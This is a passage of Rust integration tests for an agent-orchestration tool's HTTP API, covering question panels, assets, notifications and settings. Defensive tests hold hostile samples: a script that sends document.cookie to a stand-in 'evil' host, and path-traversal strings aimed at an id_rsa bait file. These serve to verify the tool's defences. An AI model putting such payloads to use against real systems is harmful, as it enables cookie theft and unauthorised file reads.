7091 request_bytes(self.addr, path, headers, body).await
7092 }
7093 }
7094
7095 struct Res {
7096 status: u16,
7097 headers: String,
7098 head: String,
7103 body: String,
7104 bytes: Vec<u8>,
7108 }
7109
7110 impl Res {
7111 fn json(&self) -> Value {
7112 serde_json::from_str(&self.body)
7113 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7114 }
7115
7116 fn header(&self, name: &str) -> Option<&str> {
7118 self.head.lines().find_map(|line| {
7119 let (key, value) = line.split_once(':')?;
7120 key.trim()
7121 .eq_ignore_ascii_case(name)
7122 .then(|| value.trim_start().trim_end_matches('\r'))
7123 })
7124 }
7125 }
7126
7127 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7130 request_with(addr, method, path, body, &[]).await
7131 }
7132
7133 async fn request_with(
7137 addr: SocketAddr,
7138 method: &str,
7139 path: &str,
7140 body: Option<&str>,
7141 extra: &[(&str, &str)],
7142 ) -> Res {
7143 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7144 for (name, value) in extra {
7145 head.push_str(&format!("{name}: {value}\r\n"));
7146 }
7147 if let Some(body) = body {
7148 head.push_str("Content-Type: application/json\r\n");
7149 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7150 }
7151 head.push_str("\r\n");
7152 if let Some(body) = body {
7153 head.push_str(body);
7154 }
7155 let mut socket = tokio::net::TcpStream::connect(addr)
7156 .await
7157 .expect("connect to the test server");
7158 socket
7159 .write_all(head.as_bytes())
7160 .await
7161 .expect("write request");
7162 let mut raw = Vec::new();
7163 socket.read_to_end(&mut raw).await.expect("read response");
7164 let split = raw
7167 .windows(4)
7168 .position(|w| w == b"\r\n\r\n")
7169 .expect("a header block");
7170 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7171 let bytes = raw[split + 4..].to_vec();
7172 let status = head
7173 .lines()
7174 .next()
7175 .and_then(|line| line.split_whitespace().nth(1))
7176 .and_then(|code| code.parse().ok())
7177 .expect("a status line");
7178 Res {
7179 status,
7180 headers: head.to_lowercase(),
7181 head,
7182 body: String::from_utf8_lossy(&bytes).into_owned(),
7183 bytes,
7184 }
7185 }
7186
7187 async fn request_bytes(
7193 addr: SocketAddr,
7194 path: &str,
7195 headers: &[(&str, &str)],
7196 body: &[u8],
7197 ) -> Res {
7198 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7199 for (name, value) in headers {
7200 head.push_str(&format!("{name}: {value}\r\n"));
7201 }
7202 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7203 let mut socket = tokio::net::TcpStream::connect(addr)
7204 .await
7205 .expect("connect to the test server");
7206 socket
7207 .write_all(head.as_bytes())
7208 .await
7209 .expect("write request head");
7210 socket.write_all(body).await.expect("write request body");
7211 let mut raw = Vec::new();
7212 socket.read_to_end(&mut raw).await.expect("read response");
7213 let split = raw
7214 .windows(4)
7215 .position(|w| w == b"\r\n\r\n")
7216 .expect("a header block");
7217 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7218 let bytes = raw[split + 4..].to_vec();
7219 let status = head
7220 .lines()
7221 .next()
7222 .and_then(|line| line.split_whitespace().nth(1))
7223 .and_then(|code| code.parse().ok())
7224 .expect("a status line");
7225 Res {
7226 status,
7227 headers: head.to_lowercase(),
7228 head,
7229 body: String::from_utf8_lossy(&bytes).into_owned(),
7230 bytes,
7231 }
7232 }
7233
7234 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7236 let mut state = RunState::new(
7237 PathBuf::from("/repo/magi"),
7238 "main".to_owned(),
7239 "0123456789abcdef".to_owned(),
7240 "Add a web UI\n\nMobile first.".to_owned(),
7241 Config::default(),
7242 );
7243 state.id = id.to_owned();
7244 state.status = status;
7245 let dir = runs.join(id);
7246 std::fs::create_dir_all(&dir).expect("run dir");
7247 std::fs::write(
7248 dir.join("run.json"),
7249 serde_json::to_string_pretty(&state).expect("serialize run"),
7250 )
7251 .expect("write run.json");
7252 }
7253
7254 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7258 let mut state = RunState::new(
7259 PathBuf::from(repo),
7260 "main".to_owned(),
7261 "0123456789abcdef".to_owned(),
7262 "task".to_owned(),
7263 Config::default(),
7264 );
7265 state.id = id.to_owned();
7266 state.status = status;
7267 let dir = runs.join(id);
7268 std::fs::create_dir_all(&dir).expect("run dir");
7269 std::fs::write(
7270 dir.join("run.json"),
7271 serde_json::to_string_pretty(&state).expect("serialize run"),
7272 )
7273 .expect("write run.json");
7274 }
7275
7276 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7277 let body = serde_json::json!({
7278 "schema": 1,
7279 "pid": 4242,
7280 "started_at": Timestamp::now().to_string(),
7281 "updated_at": updated_at.to_string(),
7282 "idle": false,
7283 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7284 "completed": 7,
7285 "polls": 143,
7286 });
7287 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7288 }
7289
7290 fn launch_idle(
7300 _opts: daemon::Opts,
7301 stop: daemon::Stop,
7302 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7303 Box::pin(async move {
7304 while !stop.stopped() {
7305 tokio::time::sleep(Duration::from_millis(2)).await;
7306 }
7307 Ok(())
7308 })
7309 }
7310
7311 fn launch_broken(
7314 _opts: daemon::Opts,
7315 _stop: daemon::Stop,
7316 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7317 Box::pin(async {
7318 Err(anyhow::anyhow!(
7319 "publish the daemon status file: read-only file system"
7320 ))
7321 })
7322 }
7323
7324 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7331 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7332
7333 fn launch_knocking_on_the_way_out(
7340 _opts: daemon::Opts,
7341 stop: daemon::Stop,
7342 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7343 Box::pin(async move {
7344 while !stop.stopped() {
7345 tokio::time::sleep(Duration::from_millis(2)).await;
7346 }
7347 let addr = PARK_KNOCK
7348 .lock()
7349 .expect("park knock")
7350 .expect("the test set an address");
7351 let heard = request(addr, "GET", "/api/health", None).await.status;
7352 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7353 Ok(())
7354 })
7355 }
7356
7357 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7366 for _ in 0..SETTLE_STEPS {
7367 let view = fx.get("/api/loop").await.json();
7368 if want(&view) {
7369 return view;
7370 }
7371 tokio::time::sleep(Duration::from_millis(10)).await;
7372 }
7373 panic!(
7374 "the loop never settled: {}",
7375 fx.get("/api/loop").await.json()
7376 );
7377 }
7378
7379 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7381 let store = fx.questions();
7382 let mut q = Question::new(
7383 "20260902-000000-beef".to_owned(),
7384 "implement".to_owned(),
7385 "impl-A".to_owned(),
7386 summary.to_owned(),
7387 "because it matters".to_owned(),
7388 choices.iter().map(|c| (*c).to_owned()).collect(),
7389 );
7390 store.put(&mut q).expect("put question");
7391 q.id
7392 }
7393
7394 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7400 let store = fx.questions();
7401 let mut q = Question::new(
7402 "20260902-000000-beef".to_owned(),
7403 "land".to_owned(),
7404 "fix".to_owned(),
7405 "Merge this?".to_owned(),
7406 "the diff is in the panel".to_owned(),
7407 vec!["merge".to_owned(), "hold".to_owned()],
7408 );
7409 let staging = fx.home.path().join("staging");
7412 std::fs::create_dir_all(&staging).expect("staging dir");
7413 let sources: Vec<PathBuf> = assets
7414 .iter()
7415 .map(|(name, bytes)| {
7416 let path = staging.join(name);
7417 std::fs::write(&path, bytes).expect("write staged asset");
7418 path
7419 })
7420 .collect();
7421 store
7422 .put_panel(&mut q, html, &sources)
7423 .expect("write the panel");
7424 store.put(&mut q).expect("put question");
7425 q.id
7426 }
7427
7428 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7437 seed_talk_at(&fx.talks(), id, status)
7438 }
7439
7440 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7441 std::fs::create_dir_all(store.root()).expect("talks dir");
7442 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7443 .expect("serialize a seat");
7444 let body = serde_json::json!({
7445 "schema": 1,
7446 "id": id,
7447 "repo": "/repo/magi",
7448 "agent": "mock",
7449 "status": status,
7450 "turns": [],
7451 "created_at": Timestamp::now().to_string(),
7452 "updated_at": Timestamp::now().to_string(),
7453 "seat": seat,
7454 });
7455 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7456 store.get(id).expect("the seeded talk has to be readable");
7457 id.to_owned()
7458 }
7459
7460 #[tokio::test]
7461 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7462 let fx = Fixture::start().await;
7463 let id = panel(
7464 &fx,
7465 "<h1>Merge?</h1><img src=\"diff.svg\">",
7466 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7467 );
7468
7469 for path in [
7470 format!("/api/questions/{id}/panel"),
7471 format!("/api/questions/{id}/asset/diff.svg"),
7472 ] {
7473 let res = fx.get(&path).await;
7474 assert_eq!(res.status, 200, "{path}: {}", res.body);
7475 assert_eq!(
7481 res.header("content-security-policy"),
7482 Some(
7483 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7484 font-src data:; base-uri 'none'; form-action 'none'; \
7485 frame-ancestors 'self'"
7486 ),
7487 "{path} is the only thing between a hostile panel and the tailnet"
7488 );
7489 assert_eq!(
7490 res.header("x-content-type-options"),
7491 Some("nosniff"),
7492 "{path}: a browser must not re-decide the type we sent"
7493 );
7494 assert_eq!(
7495 res.header("referrer-policy"),
7496 Some("no-referrer"),
7497 "{path}: a panel must not leak the question id off the machine"
7498 );
7499
7500 let pre = fx.head(&path).await;
7505 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7506 assert_eq!(
7507 pre.header("content-security-policy"),
7508 res.header("content-security-policy"),
7509 "{path}: the preflight carries the same policy"
7510 );
7511 assert_eq!(
7512 pre.header("content-type"),
7513 res.header("content-type"),
7514 "{path}: the preflight carries the same type"
7515 );
7516 }
7517 }
7518
7519 #[tokio::test]
7520 async fn a_panel_reaches_the_browser_byte_for_byte() {
7521 let fx = Fixture::start().await;
7522 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7527 let id = panel(&fx, html, &[]);
7528
7529 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7530
7531 assert_eq!(res.status, 200);
7532 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7533 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7534 assert_eq!(
7535 res.header("content-disposition"),
7536 None,
7537 "the panel itself is rendered in the frame, not downloaded"
7538 );
7539 }
7540
7541 #[tokio::test]
7542 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7543 let fx = Fixture::start().await;
7544 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7545 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7546 let id = panel(
7547 &fx,
7548 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7549 &[("diff.svg", svg), ("shot.png", png)],
7550 );
7551
7552 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7553 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7554
7555 assert_eq!(as_svg.status, 200);
7556 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7557 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7562
7563 assert_eq!(as_png.status, 200);
7564 assert_eq!(as_png.header("content-type"), Some("image/png"));
7565 assert_eq!(
7566 as_png.header("content-disposition"),
7567 None,
7568 "a raster image has no execution surface, so tapping it still shows it"
7569 );
7570 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7571 }
7572
7573 #[tokio::test]
7574 async fn an_html_asset_is_never_served_as_html() {
7575 let fx = Fixture::start().await;
7576 let id = panel(
7577 &fx,
7578 "<p>see the notes</p>",
7579 &[
7580 (
7581 "notes.html",
7582 b"<script>fetch('http://evil/'+document.cookie)</script>",
7583 ),
7584 ("hook.js", b"fetch('http://evil/')"),
7585 ("data.json", b"{}"),
7586 ("HEADLINE.TXT", b"plain"),
7587 ],
7588 );
7589
7590 for name in ["notes.html", "hook.js", "data.json"] {
7591 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7592 assert_eq!(res.status, 200, "{name}: {}", res.body);
7593 assert_eq!(
7598 res.header("content-type"),
7599 Some("application/octet-stream"),
7600 "{name} must not be a type the browser will execute or render"
7601 );
7602 }
7603 let txt = fx
7606 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7607 .await;
7608 assert_eq!(
7609 txt.header("content-type"),
7610 Some("text/plain; charset=utf-8")
7611 );
7612 }
7613
7614 #[tokio::test]
7615 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7616 let fx = Fixture::start().await;
7617 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7618 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7622
7623 for encoded in [
7630 "%2e%2e%2fid_rsa",
7631 "..%2fid_rsa",
7632 "..%5cid_rsa",
7633 "%2e%2e%5cid_rsa",
7634 "diff%00.svg",
7635 "..",
7636 ".hidden",
7637 "%2e%2e%2f%2e%2e%2fid_rsa",
7638 ] {
7639 let res = fx
7640 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7641 .await;
7642 assert_eq!(
7643 res.status, 400,
7644 "`{encoded}` has to be refused by name, not looked up: {}",
7645 res.body
7646 );
7647 assert!(res.json()["error"].is_string(), "{}", res.body);
7648 }
7649
7650 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7656 let res = fx
7657 .get(&format!("/api/questions/{id}/asset/{literal}"))
7658 .await;
7659 assert_eq!(
7660 res.status, 404,
7661 "`{literal}` must not match the asset route at all: {}",
7662 res.body
7663 );
7664 }
7665 }
7666
7667 #[tokio::test]
7668 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7669 let fx = Fixture::start().await;
7670 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7671 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7672
7673 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7677 assert_eq!(none.status, 404, "{}", none.body);
7678 assert!(none.json()["error"].is_string(), "{}", none.body);
7679 assert_eq!(
7680 fx.head(&format!("/api/questions/{plain}/panel"))
7681 .await
7682 .status,
7683 404,
7684 "the preflight is the only way the client can learn this"
7685 );
7686
7687 let missing = fx
7689 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7690 .await;
7691 assert_eq!(missing.status, 404, "{}", missing.body);
7692 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7693
7694 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7696 assert_eq!(
7697 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7698 404
7699 );
7700 }
7701
7702 #[tokio::test]
7703 async fn a_run_with_an_open_question_reads_as_waiting() {
7704 let fx = Fixture::start().await;
7705 let run = "20260902-000000-beef".to_owned();
7706 write_run(&fx.runs(), &run, RunStatus::Implementing);
7707
7708 let before = fx.get("/api/runs").await.json();
7709 assert_eq!(before[0]["waiting"], false, "{before}");
7710
7711 let store = fx.questions();
7712 let mut q = Question::new(
7713 run.clone(),
7714 "implement".to_owned(),
7715 "impl-A".to_owned(),
7716 "Which backend?".to_owned(),
7717 String::new(),
7718 vec!["SQLite".to_owned()],
7719 );
7720 store.put(&mut q).expect("put");
7721
7722 let during = fx.get("/api/runs").await.json();
7723 assert_eq!(during[0]["waiting"], true, "{during}");
7724
7725 q.answer(Answer::Choice("SQLite".to_owned()))
7728 .expect("answer");
7729 store.put(&mut q).expect("put");
7730 let after = fx.get("/api/runs").await.json();
7731 assert_eq!(after[0]["waiting"], false, "{after}");
7732 }
7733
7734 #[tokio::test]
7735 async fn an_open_question_is_listed_and_counted_by_health() {
7736 let fx = Fixture::start().await;
7737 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7738
7739 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7740 let listed = fx.get("/api/questions").await.json();
7741 assert_eq!(listed.as_array().expect("array").len(), 1);
7742 assert_eq!(listed[0]["id"], id);
7743 assert_eq!(listed[0]["status"], "open");
7744 assert_eq!(listed[0]["choices"][1], "Redis");
7745 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7748 }
7749
7750 #[tokio::test]
7751 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7752 let fx = Fixture::start().await;
7753 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7754 let path = format!("/api/questions/{id}/answer");
7755
7756 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7757 assert_eq!(res.status, 200, "{}", res.body);
7758 let body = res.json();
7759 assert_eq!(body["status"], "answered");
7760 assert_eq!(body["answer"]["choice"], "Redis");
7761
7762 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7766 assert_eq!(again.status, 409, "{}", again.body);
7767 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7768 }
7769
7770 #[tokio::test]
7771 async fn saying_something_appends_a_turn_without_answering() {
7772 let fx = Fixture::start().await;
7773 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7774 let path = format!("/api/questions/{id}/say");
7775
7776 let res = fx
7777 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7778 .await;
7779 assert_eq!(res.status, 200, "{}", res.body);
7780 let body = res.json();
7781 assert_eq!(body["status"], "open", "talking back is not a decision");
7782 assert_eq!(body["answer"], Value::Null);
7783 assert_eq!(body["thread"][0]["who"], "operator");
7784 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7785 assert_eq!(body["waiting_on_agent"], true);
7786 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7788 }
7789
7790 #[tokio::test]
7791 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7792 let fx = Fixture::start().await;
7793 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7794
7795 let list = fx.get("/api/questions").await.json();
7796 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7797
7798 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7799 assert_eq!(res.status, 409, "{}", res.body);
7800 let q = fx.questions().get(&id).unwrap();
7801 assert!(q.status.open());
7802 assert!(q.consult.is_none());
7803 }
7804
7805 #[tokio::test]
7806 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7807 let fx = Fixture::start().await;
7808 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7809 let cfg = Config {
7810 agents: vec![crate::config::AgentSpec {
7811 id: "mock".to_owned(),
7812 kind: crate::config::AgentKind::Command,
7813 model: None,
7814 command: vec!["true".to_owned()],
7815 extra_args: Vec::new(),
7816 env: Default::default(),
7817 prompt_delivery: None,
7818 }],
7819 ..Config::default()
7820 };
7821 let talk = crate::talk::begin(
7822 &fx.talks(),
7823 &cfg,
7824 fx.home.path().to_path_buf(),
7825 Some("mock"),
7826 )
7827 .unwrap();
7828 let mut task = Task::new(
7829 "t".to_owned(),
7830 "Do it".to_owned(),
7831 PathBuf::from("/repo/magi"),
7832 Source::Agent {
7833 run: talk.id.clone(),
7834 node: crate::queue::CHAT_NODE.to_owned(),
7835 },
7836 );
7837 task.start("20260902-000000-beef".to_owned());
7838 fx.queue().put(&mut task).unwrap();
7839
7840 let list = fx.get("/api/questions").await.json();
7841 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7842 assert_eq!(
7843 list[0]["choices"],
7844 serde_json::json!(["SQLite", "Redis"]),
7845 "the hand-over is never a choice"
7846 );
7847 let _ = id;
7848 }
7849
7850 #[tokio::test]
7851 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
7852 let fx = Fixture::start().await;
7853 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7854 let cfg = Config {
7855 agents: vec![crate::config::AgentSpec {
7856 id: "mock".to_owned(),
7857 kind: crate::config::AgentKind::Command,
7858 model: None,
7859 command: vec!["true".to_owned()],
7860 extra_args: Vec::new(),
7861 env: Default::default(),
7862 prompt_delivery: None,
7863 }],
7864 ..Config::default()
7865 };
7866 let repo = fx.home.path().join("chat-repo");
7868 std::fs::create_dir_all(&repo).unwrap();
7869 let toml = repo.join("magi.toml");
7870 std::fs::write(&toml, "this is = = not toml").unwrap();
7871 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
7872 let mut task = Task::new(
7873 "t".to_owned(),
7874 "Do it".to_owned(),
7875 PathBuf::from("/repo/magi"),
7876 Source::Agent {
7877 run: talk.id.clone(),
7878 node: crate::queue::CHAT_NODE.to_owned(),
7879 },
7880 );
7881 task.start("20260902-000000-beef".to_owned());
7882 fx.queue().put(&mut task).unwrap();
7883
7884 let path = format!("/api/questions/{id}/consult");
7885 let res = fx.post(&path, None).await;
7886 assert!(res.status >= 400, "{}", res.body);
7887 assert!(fx.questions().get(&id).unwrap().consult.is_none());
7888 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
7889
7890 std::fs::write(&toml, "").unwrap();
7891 let res = fx.post(&path, None).await;
7892 assert_eq!(res.status, 202, "{}", res.body);
7893 assert!(fx.questions().get(&id).unwrap().consult.is_some());
7894 }
7895
7896 #[tokio::test]
7897 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7898 let fx = Fixture::start().await;
7899 let store = fx.questions();
7900 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7901 assert_eq!(
7902 fx.get("/api/health").await.json()["questions_needs_owner"],
7903 1
7904 );
7905
7906 let res = fx
7912 .post(
7913 &format!("/api/questions/{id}/say"),
7914 Some(r#"{"body":"why not Postgres?"}"#),
7915 )
7916 .await;
7917 assert_eq!(res.status, 200, "{}", res.body);
7918 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7919 assert_eq!(
7920 fx.get("/api/health").await.json()["questions_needs_owner"],
7921 0,
7922 "waiting on the agent is not waiting on the owner"
7923 );
7924
7925 let mut q = store.get(&id).expect("get");
7929 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7930 .expect("reply");
7931 store.put(&mut q).expect("put");
7932 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7933 assert_eq!(
7934 fx.get("/api/health").await.json()["questions_needs_owner"],
7935 1,
7936 "the agent's reply is what should light the banner back up"
7937 );
7938 }
7939
7940 #[tokio::test]
7941 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7942 let fx = Fixture::start().await;
7943 let store = fx.questions();
7944
7945 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7946 let res = fx
7947 .post(
7948 &format!("/api/questions/{empty_id}/say"),
7949 Some(r#"{"body":" "}"#),
7950 )
7951 .await;
7952 assert_eq!(res.status, 400, "{}", res.body);
7953
7954 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7955 let mut answered = store.get(&answered_id).expect("get");
7956 answered
7957 .answer(Answer::Choice("SQLite".to_owned()))
7958 .expect("answer");
7959 store.put(&mut answered).expect("put");
7960 let res = fx
7961 .post(
7962 &format!("/api/questions/{answered_id}/say"),
7963 Some(r#"{"body":"still there?"}"#),
7964 )
7965 .await;
7966 assert_eq!(res.status, 409, "{}", res.body);
7967
7968 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7969 let mut abandoned = store.get(&abandoned_id).expect("get");
7970 abandoned.abandon("timed out");
7971 store.put(&mut abandoned).expect("put");
7972 let res = fx
7973 .post(
7974 &format!("/api/questions/{abandoned_id}/say"),
7975 Some(r#"{"body":"still there?"}"#),
7976 )
7977 .await;
7978 assert_eq!(res.status, 409, "{}", res.body);
7979 }
7980
7981 #[tokio::test]
7982 async fn an_answer_the_question_does_not_offer_is_refused() {
7983 let fx = Fixture::start().await;
7984 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7985 let path = format!("/api/questions/{id}/answer");
7986
7987 for body in [
7988 r#"{"choice":"Postgres"}"#,
7989 r#"{"text":"whatever you think"}"#,
7990 r#"{"choice":"Redis","text":"both"}"#,
7991 r#"{}"#,
7992 ] {
7993 let res = fx.post(&path, Some(body)).await;
7994 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7995 assert!(res.json()["error"].is_string(), "{}", res.body);
7996 }
7997 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7999 }
8000
8001 #[tokio::test]
8002 async fn a_free_text_question_takes_text_and_not_a_choice() {
8003 let fx = Fixture::start().await;
8004 let id = ask(&fx, "What should the flag be called?", &[]);
8005 let path = format!("/api/questions/{id}/answer");
8006
8007 assert_eq!(
8008 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8009 400
8010 );
8011 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8012 assert_eq!(res.status, 200, "{}", res.body);
8013 assert_eq!(res.json()["answer"]["text"], "--json");
8014 }
8015
8016 #[tokio::test]
8017 async fn an_unknown_question_is_a_json_404() {
8018 let fx = Fixture::start().await;
8019 let res = fx
8020 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8021 .await;
8022 assert_eq!(res.status, 404, "{}", res.body);
8023 assert!(res.json()["error"].is_string());
8024 }
8025
8026 #[tokio::test]
8027 async fn notifications_list_read_dismiss_and_health_agree() {
8028 let fx = Fixture::start().await;
8029 let store = Notices::at(fx.home.path().join("notifications"));
8030 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8031 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8032
8033 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8034 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8035
8036 let health = fx.get("/api/health").await.json();
8037 assert_eq!(health["notifications_unread"], 2);
8038 assert_ne!(
8039 health["notifications_rev"], rev0,
8040 "the badge must move live"
8041 );
8042
8043 let listed = fx.get("/api/notifications").await.json();
8044 assert_eq!(listed["unread"], 2);
8045 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8046 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8047
8048 let read = fx
8049 .post(&format!("/api/notifications/{}/read", a.id), None)
8050 .await;
8051 assert_eq!(read.status, 200, "{}", read.body);
8052 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8053
8054 let gone = fx
8055 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8056 .await;
8057 assert_eq!(gone.status, 200, "{}", gone.body);
8058 let listed = fx.get("/api/notifications").await.json();
8059 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8060 assert_eq!(listed["unread"], 0);
8061
8062 store.raise(Notice::info("x", "again")).unwrap();
8063 let all = fx.post("/api/notifications/read-all", None).await;
8064 assert_eq!(all.status, 200, "{}", all.body);
8065 assert_eq!(all.json()["marked"], 1);
8066 assert_eq!(
8067 fx.get("/api/health").await.json()["notifications_unread"],
8068 0
8069 );
8070
8071 let missing = fx.post("/api/notifications/nope/read", None).await;
8072 assert_eq!(missing.status, 404, "{}", missing.body);
8073 assert!(missing.json()["error"].is_string());
8074 }
8075
8076 #[tokio::test]
8083 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8084 let f = Fixture::start().await;
8085
8086 let res = f
8087 .post(
8088 "/api/queue",
8089 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8090 )
8091 .await;
8092
8093 assert_eq!(
8094 res.status, 405,
8095 "POST /api/queue must not be a route: {}",
8096 res.body
8097 );
8098 assert!(
8099 f.queue().list().is_empty(),
8100 "a task filed by a route that does not exist must not reach the disk"
8101 );
8102 assert_eq!(f.get("/api/queue").await.status, 200);
8105 }
8106
8107 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8109 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8110 .expect("checkout dir");
8111 }
8112
8113 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8115
8116 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8117 let tmp = TempDir::new().expect("tempdir");
8118 let repo = tmp.path().join("repo");
8119 std::fs::create_dir_all(&repo).expect("repo dir");
8120 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8121 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8122 if let Some(text) = machine_toml {
8123 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8124 std::fs::write(&machine, text).expect("machine toml");
8125 }
8126 (tmp, repo, machine)
8127 }
8128
8129 #[tokio::test]
8130 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8131 let (_tmp, repo, machine) =
8132 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8133 let f = Fixture::with_repo_and_machine(repo, machine).await;
8134 let res = f.get("/api/settings").await;
8135 assert_eq!(res.status, 200, "{}", res.body);
8136 let v = res.json();
